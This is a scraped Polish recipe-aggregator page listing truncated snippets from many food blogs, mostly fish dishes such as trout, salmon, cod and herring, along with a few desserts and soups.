Ryby są pyszne i zdrowe. Chyba nie muszę do tego nikogo przekonywać, a tego kogo muszę zachęcam do odtworzenia przepisu. A więcej przepisów na ryby na pewno pojawi się w najbliższym czasie. Składniki na 2 porcje: Pstrąg: 2 pstrągi patroszone 1 cytryna 20 g masła 2 ząbki czosnku 1 cebula 2 kromki chleba żytniego razowego Warzywa: 3 łodygi

Katarzyna Skórska - dietetyk kliniczny
Domowa Pavlova, czyli jak wykorzystać syfon do bitej śmietany 175

Beza z bitą śmietaną, czyli klasyczna Pavlova   Pavlova to klasyczny deser, który swoją nazwę zawdzięcza nazwisku słynnej rosyjskiej primabaleriny Anny Pawłowej. Jednak wbrew pozorom ten

Korniszonki
Truskawkowe Kinder Country z polewą z Nutelli dla dzieci 177

Kinder Country z truskawkami Proponuję lekką odmianę pysznego ciasta bez pieczenia tzw. Kinder Country. Ten cudowny deser postanowiłam wzbogacić truskawkami i odjąć mu nieco kalorii. W

Korniszonki
Micha zdrowia – z łososiem i makaronem ryżowym 155

mamy wspaniałą, zdrową ucztę. Micha zdrowia przypomina takie zdekonstruowane sushi w formie sałatki – jest surowa ryba, są warzywa, są wodorosty. Może być też ryż lub makaron ryżowy. Zdecydowanie polecam tu improwizację – ważna jest jakość składników (jeśli używamy surowej ryby, koniecznie korzystajcie z miejsc, gdzie jest bardzo świeża – nie polecam supermarketów). Mój mąż podsumował michę jednozdaniowo

Poezja smaku
Pstrąg w ziołach 167

kupić świeżą rybę w całości, ale uważam, że taka jest najpyszniejsza. To coś jak twierdzenie, że mięso przygotowywane z kością jest smaczniejsze. Tak moim zdaniem jest też i z rybami, w całości mają o niebo lepszy smak. Dzisiaj proponuję Wam soczystego pstrąga z ziołową nutą. Poznaj recepturę

Pichceniomania
Pieczony łosoś z awokado chimichurri 152

dziś gotowaliście na obiad ? U nas był pieczony łosoś z awokado chimichurri. Uwielbiam pieczone ryby z przeróżnymi ziołowymi sosami. Awokado chimichurri to miła niespodzianka. Sos świetnie pasuje do łososia. Prosty sos a taki smaczny! Często jemy łososia na obiad ale pierwszy raz podałam go z awokado chimichurri. Dzisiaj też mieliśmy ochotę na młode ziemniaki! No wreszcie staniały na tyle(...)pieprzu 1 łyżka oliwy Dodatkowo 1 kg ziemniaków koper Natrzyj łososia solą, przyprawami i oliwą. Ułóż w żaroodpornym naczyniu skórą do dołu. Pokrój cytrynę w plasterki i obłóż nimi rybę. Wstaw do nagrzanego na 275ºC pikearnika i piecz przez 25 minut. Ugotuj ziemniaki ze skórką w lekko osolonej wodzie. Zmiksuj chimichurri. Obierz czosnek, awokado i pokrój. Umieść w malakserze. Wlej

codojedzenia
Quiche serowy z młodymi szparagami zielonymi 149

Quiche to danie kuchni francuskiej. Robiony jest z kruchego ciasta, które jest jego podstawą oraz nadzienia złożonego głównie z jajek, mleka lub śmietany, sera, mięsa, warzyw lub ryb. Quiche serowy z młodymi szparagami zielonymi(...)quiche robię często. Jest szybki i można do niego włożyć naprawdę wszystko. W okresie letnim mamy mnóstwo warzyw, które możemy użyć. Niekonieczne jest dodawanie do quichu mięsa czy ryb, same warzywa też sprawdzają się bardzo dobrze. Quiche można podawać zarówno na ciepło jak i na zimno. Rewelacyjnie sprawdzi się jak przekąska serwowany na przyjęciach. Spokojnie możemy go podać naszym

mecooks
Food & wine pairing no co dzień – zasady dobierania wina do dań 113

już dobra okazja, żeby się tak pobawić. Kiedyś zasady łączenia wina z jedzeniem były bardziej sztywne. Był nawet wierszyk mnemotechniczny, który miał pomóc zapamiętać, co się z czym podawało: Ryby, drób i cielęcina lubią tylko białe wina. Zaś pod sarny, woły, wieprze jest czerwone wino lepsze. Deser, frukta i łakotki lubią tylko wina słodkie. A szampana, wie i kiep(...)jeśli tak jak ja lubi się najbardziej lekkie wina czerwone i pije się do prawie każdego posiłku z winem. Pino noir jest pyszne z pieczonymi warzywami, pieczonym drobiem czy rybami i daniami, gdzie mięso połączono z owocami. Wine pairing to przecież wizja łączenia jedzenia z winem, żeby wydobyć “coś” jeszcze. Ma być nam przyjemnie. W łączeniu potraw jest też

Ugotowane pozamiatane
Gotujemy wywar rybny w szybkowarze 152

też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia 1 cebula, obierz i pokrój w małą kostkę 1 marchew, obierz i pokrój(...)tutaj . rozgrzej w szybkowarze masło, dodaj cebulę i podsmażaj na średniej mocy palnika ok. 3 min dodaj pozostałe warzywa, całość podsmażaj jeszcze parę minut do warzyw dodaj kawałki ryby i całość chwilę podsmażaj co jakiś czas mieszając dolej wino całość zamieszaj od czasu do czasu i poczekaj, aż alkohol ulotni się całkowicie i nie będzie w ogóle czuć

Szybko Szybkowar
smażony karp w zalewie octowej 146

ilość ości jakoś nie poszły tak szybko jak pozostałe jego części. Wymyśliłam sobie, że w końcu zrobię go w zalewie. Rzecz banalna w wykonaniu. Coś akurat dla smakoszy ryb. Jak smażę karpia zazwyczaj obtaczam go w mące i jajku. Teraz też zrobiłam tak samo. Niektórzy używają tylko samej mąki, dlaczego nie. W sumie to rzecz smaku w tym przypadku(...)Karp przeszedł pięknie smakiem zalewy. Ta porcja zalewy wystarczyła mi na 1 słoik 0,9 l i 1 słoik 0,5 l. Taką przekąskę można przygotować z każdego rodzaju ryby. Ważne by była to tuszka, oczywiście świeża ewentualnie mrożona. Fajna zakąska na biesiady tak od siebie dodam :D Smacznego

Pieprzyć z Fantazją
Poke bowl- hawajskie danie na punkcie którego oszalejecie 137

baaaardzo syty. Do tego prosty w przygotowaniu i smakuje rewelacyjnie. Najważniejsza zasada, aby wszystko było jak najbardziej świeże ( na tyle na ile w centrum WLKP uda się dostać świeżą rybę ). Przygotujecie taką michę i podczas wcinania chociaż na tę chwilkę przenieście się na hawajskie plaże. Gdzie pod palemką, na hamaku, słuchacie szumu fal i jecie swój lunch… A Hawaje(...)skłaniamy się ku zdrowemu, jak najmniej przetworzonemu jedzeniu, a poke bowl takie jest no i mega pyszne Składniki: 400 gr surowego łososia 200 gr ryżu jaśminowego Marynata do ryby: 4 łyżki sosu sojowego ( bezglutenowego) 2 łyżki oleju sezamowego 2 łyżki miodu łyżeczka wasabi Dodatki: awokado rzodkiewka ogórek pędy bambusa różowy imbir kiełki rzodkiewki nasiona sezamu Ryż gotujemy, składniki

PaleoLife
Ravioli z tuńczykiem i szpinakiem w sosie cytrynowym 167

często, więc to skłoniło mnie do pójścia w drugą stronę, w stronę pierogów. I tutaj miałam dylemat nie mały, bo o ile jadłam je w różnej postaci, tak z rybą nie zjadłam w życiu ani jednego pieroga. Nawet nie wiem czy takowe się robi, czy nie :P Zbytnio ryzykować nie chciałam, bo myśli, "co będzie jak mi nie posmakuje?" troszkę(...)było innej opcji. Mało tego, zdradzę Wam, że kilka pierożków które mi zostały odgrzałam nazajutrz na maśle, a później także skropiłam sokiem i były fantastyczne! Jeśli więc lubisz ryby, a boisz się spróbować pierogów z właśnie takim nadzieniem, to ja Ci mówię z ręką na sercu, że warto! Co jeszcze warto? Oczywiście wziąć udział w konkursie na stronie www.konkurstunczyk.eu

Kuchnia w czekoladzie
Zupa szczawiowa - klasyka kuchni polskiej 131

Zupa szczawiowa - wiosenny przysmak kuchni polskiej Zupa szczawiowa to polski przysmak, który ze świeżego szczawiu można przygotować tylko wiosną! Wtedy listki mają najwięcej kwaśnego smaku, są

Korniszonki
Sushi 106

Sushi (jap. 寿司 , 鮨 lub 鮓 ) to tradycyjna japońska potrawa składająca się z marynowanego ryżu połączonego z innymi składnikami, takimi jak marynowane ryby, surowe lub gotowane skorupiaki lub warzywa. Ze względu na swoje walory smakowe, zdrowe, naturalne składniki oraz ogólną modę na orientalizm, ostatnimi czasy zyskała ona niewiarygodną popularność, także i w Polsce. Pierwsza pisemna wzmianka o sushi pojawiła(...)wasabi w tubce, znanej japońskiej marki S&B. Wasabi rozpuszcza się w sosie sojowym i stosuje jako dip sushi i sashimi, japońscy mistrzowie sushi wkładają także wasabi między rybę a ryż. Stosuje się go w japońskich marynatach i innych potrawach jako przyprawę. (kupisz tu KLIK ) Wasabi w proszku – bardzo wydajny, zamknięty w puszce nie wietrzeje. Natrualny skład

mojewypiekiinietylko
Dorsz pieczony 119

szczypta cukru • tymianek Przygotowanie : Filety oprószamy solą i pieprzem oraz dwiema łyżeczkami tymianku. Polewamy 1,5 łyżki oliwy i odstawiamy. Nagrzewamy piekarnik do 200 stopni (termoobieg), po czym zapiekamy rybę w naczyniu żaroodpornym przez 10 minut (bez przykrycia). W międzyczasie obieramy ziemniaki i kroimy w małą kostkę (1x1 cm). Obsmażamy na patelni na łyżce oliwy, aż zmiękną. Dodajemy posiekaną dymkę(...)plasterki czosnek. Szklimy. Dodajemy pomidory z puszki, doprawiamy solą, pieprzem i cukrem i dusimy razem przez 10 minut. Na koniec dodajemy pokrojonego w krążki pora. Sos przekładamy do ryby, zmniejszamy temperaturę piekarnika do 180 stopni i zapiekamy razem przez 15-20 minut. Pomidorki koktajlowe przesmażamy na pozostałej oliwie. Rybę podajemy z pieczonymi warzywami i pomidorkami

KUCHNIA POLSKA
Kurczak w marynacie teriyaki 154

marynacie teriyaki może być podawany z ryżem, makaronem ryżowym lub z warzywami. Można też, zamiast w marynacie,  przygotować kurczaka w sosie teriyaki. Marynata teriyaki pasuje do krewetek, ryb(...)wieprzowiny, zwłaszcza do żeberek i karkówki pieczonej na grillu. Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak chciałabym Wam podać wariant wzbogacony o mirin, rodzaj wina ryżowego stosowanego w kuchni japońskiej. Bardzo dobrt, gotowy sos lub marynatę teriyaki można kupić w sklepie internetowym Kuchnie Świata

Kulinaria - potrawy z różnych stron świata
Szaszłyki z łososia, sera halloumi i ananasa – GRILL DLA DIABETYKA 174

skóry 400g sera halloumi 300g ananasa 30ml sosu teriyaki Przygotować wszystkie składniki na szaszłyki. Łososia umyć, osuszyć ręcznikiem papierowym, oczyścić z ości i zdjąć skórę (jeśli jest ze skórą). Rybę pokroić w grubą kostkę (na 18 części) i przełożyć do miski. Dodać sos teriyaki i obtoczyć w nim łososia. Odstawić na 10-15 minut. Ser halloumi pokroić w kostkę podobną(...)grilla nadziewać kolejno ser, łososia i ananasa, znowu ser, łososia i ananasa.. kończąc na serze. Na patyczku pojawiły się 4 kawałki sera i po 3 ananasa i ryby. Szaszłyki grillować jakieś 5-10 minut. Najlepiej podawać ze świeżymi sałatkami na bazie sałaty i warzyw. Składniki odżywcze znajdziecie też na takiej planszy pod koniec filmiku na YT. Obserwujecie mnie

Dietolog
American cookies, czyli amerykańskie ciasteczka z kawałkami czekolady 170

American cookies, czyli amerykańskie ciasteczka z kawałkami czekolady Amerykańskie ciasteczka są naprawdę pyszne! Chrupiące na brzegach i miękkie oraz lekko ciągnące w środku i oczywiście z

Korniszonki
Przepisy na grilla! Dania z rusztu, sałatki i dodatki do grilla! 407

Grillowe menu! Mięsa, ryby i sałatki oraz dodatki do grilla! Najlepsze przepisy na dania(...)rusztu oraz sałatki i dodatki do potraw z grilla. Sezon na imprezy na świeżym powietrzu rozpoczęty! W dzisiejszym wpisie podsyłam Wam pomysły i inspiracje na pyszne grillowane mięsa, ryby, sery i warzywa oraz sosy, sałatki i inne dodatki do potraw z grilla. Zapraszam Przy każdej propozycji podlinkowałam przepis z instrukcją wykonania potrawy, wystarczy kliknąć w napis „PRZEPIS TUTAJ

Blog z Apetytem
Pasta serowa z pieczonymi warzywami. Idealna na śniadanie lub grilla 207

Pasta z twarożku i pieczonych warzyw Ta pasta to świetna propozycja dla  wszystkich miłośników twarogów i warzywa. Do jej przygotowania można wykorzystać wszelkie warzywa pieczona

Korniszonki
Smażony sandacz na czarnej soczewicy z surówką z kapusty pekińskiej 186

talerzu smażony sandacz na masełku z ziołami i czosnkiem, gotowana czarna soczewica i surówka z różowej kapusty pekińskiej, jabłka, marchewki i pora. Łatwo, smacznie i przyjemnie. Sandacz to pyszna ryba. W dodatku sandacz jest niezwykle łatwy w przygotowaniu. Niewiele mu potrzeba, żeby mógł zostać prawdziwą gwiazdą na talerzu. Najprostszą metodą przygotowania jest jego usmażenie, jednak nie w głębokim tłuszczu(...)pekińskiej ( przepis ). 1 porcja to ok. 200 kcal , węglowodany: 12g, białko: 27g, tłuszcz: 5g Informacje dla diabetyków: w porcji znajduje się 1,2WW i 1,5WBT Obliczenia obejmują porcję ryby i czarnej soczewicy. Należy doliczyć ilość makroskładników z surówki. SMACZNEGO! Artykuł Smażony sandacz na czarnej soczewicy z surówką z kapusty pekińskiej pochodzi z serwisu Dietolog

Dietolog
Makaron ryżowy z łososiem 154

Wielu z Was to danie – makaron ryżowy z łososiem może wydać się dziwne, ze względu na nietypowe połączenie składników. Większości makaron ryżowy kojarzy się z

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś zapiekany w cieście (Salmone al forno in crosta) 171

przygotować, spieszę z pomocą ;)  Przepis na pieczony filet z łososia w cieście jest szybki, prosty w przygotowaniu i do tego niezwykle smaczny. Ryba jest bardzo soczysta a pokrywające j ą puszyste  ciasto, idealnie komponując si ę  z łososiem , tworzy ciekawe w smaku danie.  Smacznego :) **** Oggi ho preparato il filetto di salmone(...)ultimo amalgamate i tuorli con gli albumi. Filet z łososia  układamy  ( skórą do do ł u)  w formie do pieczenia wcześniej posmarowanej olejem . Rybę pieczemy ok. 15 minut w piekarniku rozgrzanym do 180 stopni. **** Ungete una pirofila con dell'olio e mettete il filetto di salmone con la pelle rivolta verso il basso

La grande e la piccola cuoca
Dorsz w cieście francuskim 152

Małe, chrupiące pakieciki z ciasta francuskiego a w środku co? soczysty kawałek ryby, pieczona papryka i listki szpinaku. Połączenie wyszło znakomite i warto takie pakieciki sobie zafundować, polecam. Dorsz w cieście francuskim. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Cukinia jako przystawka na zimno 231

Cukinia odpowiednio przygotowana jest pyszna nie tylko na ciepło, ale i na zimno. Uwielbiam ją w wersji na zimno, która jest dodatkiem praktycznie do wszystkiego :mięsa,  ryby, mozzarelli, żółtych serów czy wędliny. Oczywiście trzeba ją odpowiednio przygotować i podać z sosikiem 😋😋😋 (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI 2 cukinie ząbek czosnku 1 łyżkę soku z cytryny 1 łyżkę octu(...)poszatkowanej natki pietruszki. (adsbygoogle = window.adsbygoogle || []).push({}); Tak przygotowanym sosem polać jeszcze gorące kawałki cukini ułożone na półmisku. Spożywać na zimno jako przystawkę lub zakąskę do mięsa,  ryby, mozzarelli, żółtych serów czy wędliny. Polecam jako dodatek do  Rolady z mięsa mielonego  lub   hamburgerów z mięsa drobiowego SMACZNEGO

zielonacukinka
Złoty tort pomarańczowo-cytrynowy 190

Tort pomarańczowo-cytrynowy Biszkopt pomarańczowy (mała tortownica) 5 jajek 5 łyżek mąki pszennej (może być tortowa) 2 łyżki mąki ziemniaczanej 4 łyżki cukru pudru łyżka skórki

Korniszonki
Sos rybny do makaronu 126

Składniki: wędzona ryba 1 cebula sok z połowy cytryny sól, pieprz natka pietruszki passata pomidorowa czyli po prostu przecier z pomidorów olej do smażenia Przygotowanie: rybę obierz z ości i skóry cebulę posiekaj w kostkę natkę pietruszki drobno posiekaj wyciśnij sok z połowy cytryny rozgrzej olej na patelni przełóż na nią cebulę, podsmaż chwilę następnie dodaj na patelnię rybę wymieszaj

Oka w rosole czyli KaFka gotuje
Pysznie w firmie! Podaruj wyjątkowy upominek partnerom lub współpracownikom! 157

Jak się okazuje reklama i słodycze to idealne połączenie. Na rynku obecnych jest wiele firm, które oferują reklamowe słodkości, jednak warto zastanowić się, którą ofertę wybrać

Korniszonki
Gęsty biały barszcz z białymi warzywami, łososiem i jajkiem 144

obiad, podany po długim spacerze. Można ją ugotować dzień lub dwa dni wcześniej, a przed podaniem zagotować i dodać łososia. Ryba zaparzona we wrzącej zupie jest soczysta i delikatna. Jeśli jednak zależy nam, aby zupa bardziej przeszła smakiem ryby, wtedy można ją dodać zaraz po ugotowaniu. Podczas odgrzewania odda swój smak zupie.  Składniki na 4-6 porcji(...)ognia i dodać kawałki świeżego łososia (bez skóry). Powinien się tylko zaparzyć we wrzącej zupie. Jajka ugotować na twardo, obrać ze skorupek. Na talerze wlewać zupę wraz z rybą, dodawać polówki ugotowanych jajek i posiekany szczypiorek. Jeśli lubicie biały barszcz, a przy tym eksperymentować ze smakami, to spróbujcie także białego barszczu zapieczonego z białą kiełbasą i jajkiem

Codzienna kuchnia niecodzienna
Pstrąg w sosie śmietanowo-chrzanowym 145

Jest to prosta i pyszna propozycja na pstrąga, która idealnie sprawdzi się przy każdej okazji. Tak przygotowana ryba zachwyca delikatnym smakiem, a sos to taka przysłowiowa kropka nad "i". Polecam.     4 filety z pstrąga (u mnie z łososiowego) 2-3 łyżki chrzanu z słoiczka (lub według gustu, u mnie chrzan Rolnik ) 150-200 ml śmietanki 30% (może być(...)/olej do smażenia   Pstrąga z obu stron oprószyć solą z pieprzem oraz skropić sokiem z cytryny, a następnie przełożyć na patelnię z niewielką ilością rozgrzanego tłuszczu.   (Uprzednio rybę można odstawić na około 1/2 godziny do lodówki.)   Całość dusić pod przykryciem przez około 5 minut.   Po tym czasie na patelnię wlać śmietankę oraz dodać chrzan i wszystko

Di gotuje
Najłatwiejsza babka cytrynowa 2172

Wielkanoc to czas, kiedy na stołach i w koszyczkach królują babki. Do wyboru mamy drożdżowe, piaskowe i ucierane. Mam dla was przepis na prostą babkę cytrynową

Korniszonki
Wielkanocny food wine pairing 151

przednówku te produkty cieszyły jeszcze bardziej. Były upragnione, bo wcześniej po prostu ich nie było. Kuchnia postna była kreatywna. Umożliwiała stworzenie dań wykwintnych z tego co było dozwolone: ryb, warzyw, octu, miodu i chrzanu. Kwitła też kreatywna dietetyka, która z ptactwa wodnego i bobrzych ogonów robiła ryby, czyli produkty dozwolone. Ludziom tak bardzo chciało się mięsa

Ugotowane pozamiatane
Śledzie na cztery sposoby. 134

herbatę przez 5 minut. Studzimy. Przelewamy do miski. Dodajemy listki laurowe, ziarna przypraw i ocet.  Śledzie wkładamy do marynaty. Mieszamy. Całość umieszczamy w słoiku typu weck. Pamiętamy, że ryby muszą być całkowicie przykryte zalewą. Wierzch polewamy dwiema łyżkami oliwy. Słoik zamykamy i odstawiamy do lodówki na minimum 3 dni. Należy spożyć do 2 tygodni. 2) Śledzie w sosie(...)Jest to musztarda na bazie Dijon, o lekko pikantnym smaku. Ja używam z firmy Vilnux. Sposób przygotowania: Śledzie moczymy w wodzie ok. 3 godzin. Wszystkie składniki sosu dokładnie mieszamy. Ryby kroimy na mniejsze kawałki i umieszczamy w marynacie. Całość przekładamy do słoika typu weck. Zamykamy i odstawiamy do lodówki na minimum 3 dni. Należy spożyć do 2 tygodni

DominikaDolci
Zapiekanka rybno-ziemniaczana (Sformato di pesce e patate) 148

Scottatele per circa 2 minuti in acqua bollente salata, scolandole e asciugatele bene. Filety z dorsza oczyszczamy i usuwamy z ewentualnych ości, następnie kroimy w kostkę. Do ryby dodajemy 2/3 ziemniaków, śmietan ę , drobno pokrojony koperek, ziarna kopru włoskiego; doprawiamy sol ą  i pieprzem. Całość dokładnie mieszamy. *** Private il merluzzo di eventuali lische residue(...)patate, la panna, i semi di finocchietto e l'aneto tritato finemente. Aggiustate di sale e pepe. Dno formy żaroodpornej smarujemy 1-2 łyżkami oliwy. Do formy wykładamy rybę wymieszan ą  z ziemniakami i śmietaną. **** Spennellate il fondo di una pirofila con 1-2 cucchiai di olio d'oliva. Sopra disponete il mix di merluzzo e patate

La grande e la piccola cuoca
Pieczony łosoś z pomarańczami 118

sobą sok z połowy pomarańczy, sok z połowy cytryny i łyżkę oliwy. 2. Łososia płuczemy i osuszamy papierowym ręcznikiem, a następnie kroimy na 4 równe części. 3. Tak przygotowaną rybę przekładamy (skórą do dołu) do naczynia żaroodpornego i polewamy wcześniej przygotowaną marynatą. 4. Kolejno oprószamy łososia solą oraz pieprzem, obracamy (skórą do góry) i wstawiamy do lodówki na co najmniej(...)godzinę. 5. Przed upieczeniem rybę obracamy (skórą do dołu), układamy plasterki pomarańczy, a następnie wstawiamy do nagrzanego do 190 stopni piekarnika na 20 minut. Gotowego łososia oprószamy posiekanym koperkiem i podajemy. Sosem, który pozostał po usmażonej rybie możemy okrasić ziemniaki, ryż, czy tak jak w moim przypadku makaron.  SMACZNEGO

Bez Cebuli
Pasta z pieczonej papryki i czerwonej soczewicy 128

Cztery razy w tygodniu jestem weganką, dwa razy wegetarianką w pozostałe dni jem ryby, czasem indyka i eko kurczaka. Przez dwa lata nie jadłam mięsa. Ale ryby ... choć w tym przepisie nie ma, bardzo lubię! 1 szklanka czerwona soczewica 1 ok. łyżeczka sól 2 szt. papryki czerwonej pestki słonecznika 1 łyżka rozmaryn   - kilka igiełek 1/2 łyżki papryka

AZgotuj!
Golonka zapiekana w piwie z miodem 146

Golonka pieczona w piwie z miodem wspaniale smakuje z chrzanem i musztardą Składniki potrzebne do przygotowania golonek 3-4 golonki wieprzowe Bulion do gotowania golonek 3

Korniszonki
Grzane piwo z żółtkiem - idealne na przeziębienie 161

Grzane piwo z jajkami - rozgrzewająca bomba Składniki na piwnego grzańca z żółtkami 500 ml jasnego piwa 2 żółtka 1 duża łyżka drobnego cukru 1 łyżka miodu

Korniszonki
Pasta z makreli i awokado. Dieta szybka przemiana - faza III 157

Wędzona makrela to najpopularniejsza ryba, a przepisów na pastę jest bez liku. Dzisiaj podrzucam pomysł na najprostszą z najprostszych i zarazem najlepszą pastę z makreli. Dwa składniki i pasta gotowa! Wędzona makrela i awokado, no i kropla soku z cytryny - gotowe! Na początku chciałam zrobić pastę w wersji wzbogaconej i przygotowałam cebulkę, korniszonki. Po zblendowaniu skosztowałam i przepadłam(...)także pyszne nadzienie do wielkanocnych jajek. Z rzeżuchą będzie znakomicie smakować. Przepis koniecznie do wypróbowania! Bardzo polecam! Składniki: 1 makrela 1 awokado sok z cytryny sól, pieprz Wykonanie: z ryby ściągnąć skórę, wyjąć kręgosłup i odzielić rybę od ości awokado przeciąc wzdłuż na pół, wyjąć pestkę, a miąższ skropić sokiem z cytryny, wyjąć łyżką mięso makreli i awokado umieścić

Gotuj zdrowo!Guten Appetit!
Alkoetykieta – cz. I 101

mianowicie, będzie on traktował o szeroko pojętych zasadach panujących przy stole. I tak oto dziś rozpoczniemy od… doboru rodzaju alkoholu do potrawy oraz temperatury serwowania. Znacie taki wierszyk? Ryby, drób i cielęcina lubią tylko białe wina. Zaś pod sarny, woły, wieprze jest czerwone wino lepsze. Deser, fructa i łakotki lubią tylko wina słodkie. A szampana, wie i kiep, Można(...)rodzajach oraz temperaturach serwowania. Przystawki – wina wytrawne, wytrawne wermuty, czysta wódka Kawior – szampan lub… bardzo dobrze zmrożona, wódka jakościowa Mięsa – i tutaj mamy mały podział: do drobiu, ryb oraz do cielęciny serwujemy wina białe; do dziczyzny z kolei, wołowiny, schabów pieczonych itp. lepsze będzie wino czerwone. Potrawy z grzybów – wina czerwone, wytrawne (ostatnio jadłam rewelacyjną pastę z borowikami

Kate's Kitchen
Rozgrzewająca zupa z dyni z imbirem, kardamonem i gałką muszkatołową 151

Rozgrzewająca zupa z dyni z korzennymi przyprawami i chili Kremowa zupa z dyni, doprawiona rozgrzewającymi przyprawami korzennymi, to idealne rozwiązanie dla wszystkich, którzy marzną zimą. Korzenne

Korniszonki
FIT naleśniki waniliowe z sałatką owocową 269

Naleśniki z sałatką owocową! Pychota Naleśniki to cudowne danie, które można podać dosłownie na 1000 sposobów. Naleśniki można podawać jedynie z sosami, z nadzieniem - słodkim lub

Korniszonki
Łosoś w sosie bazyliowym 138

Lekka dietetyczna ryba z piekarnika z sosem bazyliowym. Moja rodzina uwielbia łososia i często go robię. Jest to szybki i prosty obiad a do tego zdrowy. Nie pieczcie za długo łososia bo będzie suchy. Oczywiście to zależy jeszcze d grubości ryby ale 20 minut powinno wystarczyć, a cieńszy nawet krócej. 2 kawałki łososia 2 gałązki rozmarynu 1 garść listków

wesoła kuchnia
Kociołek Sinigang z ośmiornicy, krewetek i ryby 179

niej włożyć co tylko dusza zapragnie ale smak kwaśny od tamaryndu powinien zagościć, u mnie zakwaszenie od limonki. Zapraszam zatem na pyszne danie. Kociołek Sinigang z ośmiornicy, krewetek i ryby. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Chleb z łososiem i serkiem kozim 140

kiedy płakałam, kiedy byłam wściekła. Żadna tam biała flaga, tylko łosoś. Niezależnie od odmiany łosoś jest rybą pełna zalet: bogata w białko, witaminy A, D i E. Należy do ryb tłustych, największą zaletą łososia są korzystne dla zdrowia kwasy tłuszczowe z grupy Omega-3. Próbowaliście kiedyś łososia wędzonego z ...kozim serkiem? Ja też nie. Przyszła więc pora. Serek kozi

Z Kuchni Do Kuchni
Pasta z wędzonej makreli z twarogiem 185

Pyszna pasta na kanapki z wędzonej ryby i twarogu, nazywana często awanturką. Zamiast makreli można użyć innej wędzonej ryby. Pastę można wzbogacić dodatkiem szczypiorku lub natki pietruszki, zamiast musztardy można dodać keczup. składniki: 2 średnie wędzone makrele ( ok 500 g ) 500 g twarogu 1 mała cebula 4 łyżki majonezu 4 łyżki jogurtu 2 łyżki musztardy, u mnie rosyjska

Monia miesza i gotuje
Sandacz śmietankowy z warzywami 127

Jutro piąteczek, więc dzisiaj rybka. Publikuję szybciej byście mogli zaopatrzyć się w potrzebne składniki. Sandacz jest jedną z moich ulubionych ryb, nie za suchy a duszony nabiera delikatności i jest przepyszny. Zapewne wrócę do niej nie raz. Składniki: Filety z sandacza Vegeta Niewielka ilość mąki Odrobina oleju Warzywa mrożone -  słupki Bulion(...)warzywny Serek almette śmietankowy sól Wykonanie: Rozmrożone filety przyprawiamy vegetą i lekko przyprószamy mąką. Na patelnię wlewamy niewielką ilość oleju i podsmażamy sandacza z obu stron. Na chwilę wyjmujemy rybę a na patelnię  wlewamy bulion i dodajemy mrożone warzywa. Po chwili dodajemy łyżkę serka almette. Dokładnie rozprowadzamy. Zagotowujemy. Doprawiamy do smaku solą. Ponownie umieszczamy sandacza. Dusimy pod przykryciem jeszcze

Smaki Ewy
Zasady wychodzenia z diety warzywno-owocowej dr Dąbrowskiej 122

zboża pełnoziarniste i psuedozboża pestki i nasiona orzechy 7-9 dzień  (1200 kcal) jajka i nabiał, najlepiej fermentowany 10-11 dzień  (1400 kcal) chude białe mięso i ryby, jedzone 1-2 razy w tygodniu 12-13 dzień  (1600 kcal) pełnowartościowe zdrowe żywienie 14 dzień  (kalorie zgodnie z indywidualnym zapotrzebowaniem) pełnowartościowe zdrowe żywienie Zgodnie z zasadami(...)kcal) wszystkie zboża pełnoziarniste i psuedozboża pestki i nasiona orzechy 3 tydzień  (1200 kcal) jajka i nabiał, najlepiej fermentowany 4 tydzień  (1400 kcal) chude białe mięso i ryby, jedzone 1-2 razy w tygodniu 5 tydzień  (1600 kcal) pełnowartościowe zdrowe żywienie 6 tydzień  (kalorie zgodnie z indywidualnym zapotrzebowaniem) pełnowartościowe zdrowe żywienie

Kulinarne przygody Gatity
Potrawka rybna z ziemniakami 181

łyżeczka przyprawy do ziemniaków Sól morska do smaku Świeżo mielony pieprz do smaku Mąka pszenna do panierowania 2 jajka do panierowania Natka pietruszki do posypania Tłuszcz do smażenia ryby Ziemniaki obrać pokroić w grubą kostkę , obsypać  przyprawą do ziemniaków, solą oraz pieprzem. W żeliwnym garnku lub na patelni z grubym dnem rozgrzać olej dodać ziemniaki, obrany i pokrojony(...)ćwiartki pomidory, podlać wodą dodać liście laurowe  i dusić około 15 minut od czasu do czasu mieszając.Pilnować żeby ziemniaki się nie rozpadły mają być miękkie i zwarte. Rybę pokroić w grubą kostkę, oprószyć solą , mąką, obtoczyć w rozkłóconym jajku z solą i pieprzem, smażyć na rozgrzanym oleju do miękkości .  Przełożyć na wierzch do garnka lub patelni

Wanilia i Kardamon
Kanapka z matiasem i krewetkami 232

takiego prawdziwego matiasa - zróbcie to koniecznie, jest absolutnie wyjątkowy! Pamiętajcie, aby przy wyborze śledzia czy innych ryb zwracać uwagę na niebieski znaczek MSC -  dający nam pewność, że ryb i śledzi nam nigdy nie zabraknie. Składniki: na 4 porcje 5 filetów śledzia matias, 8 kromek chleba, 1/2 kopru włoskiego, 160 g selera w słoiku, 12 gotowanych krewetek

Plate of Joy
Tradycyjne placki ziemniaczane: sprawdzony przepis 139

Placki ziemniaczane to tradycyjne danie, które smakuje chyba każdemu. Mogą być podawane na słodko i na ostro - z cukrem, śmietaną, gulaszem, szpinakiem sosem tzatziki lub kawiorem

Korniszonki
Śledzie w pomarańczach i szafranie 169

wtorek Ostatki, czyli nasz tradycyjny polski śledzik,  dlatego dziś zapraszam moich Czytelników na kolejny pyszny pomysł na tę wspaniała rybę. Śledzie w pomarańczach i szafranie nie dość, że pięknie ciszą oko, to także doskonale smakują. Gózdzki i pomarańcze to idealny duet, a na dodatek wspaniale komponuje się z rybą A na blogu znajdziecie całe mnóstwo śledziowych smakołyków 😍: Śledzie(...)zostawiając wyczuwalne kawałki przypraw. Wsypujemy je do słoika, w którym będziemy marynować śledzie. Dodajemy sok z pomarańczy, skórkę i szafran. Odstawiamy na 15 minut, aby szafran puścił kolor. Mieszamy. Rybę kroimy w dzwonka i wkładamy do marynaty. Dolewamy olej, tak aby śledzie były nim całkowicie przykryte. Słoik zakręcamy i wkładamy do lodówki

Kulinarne przygody Gatity
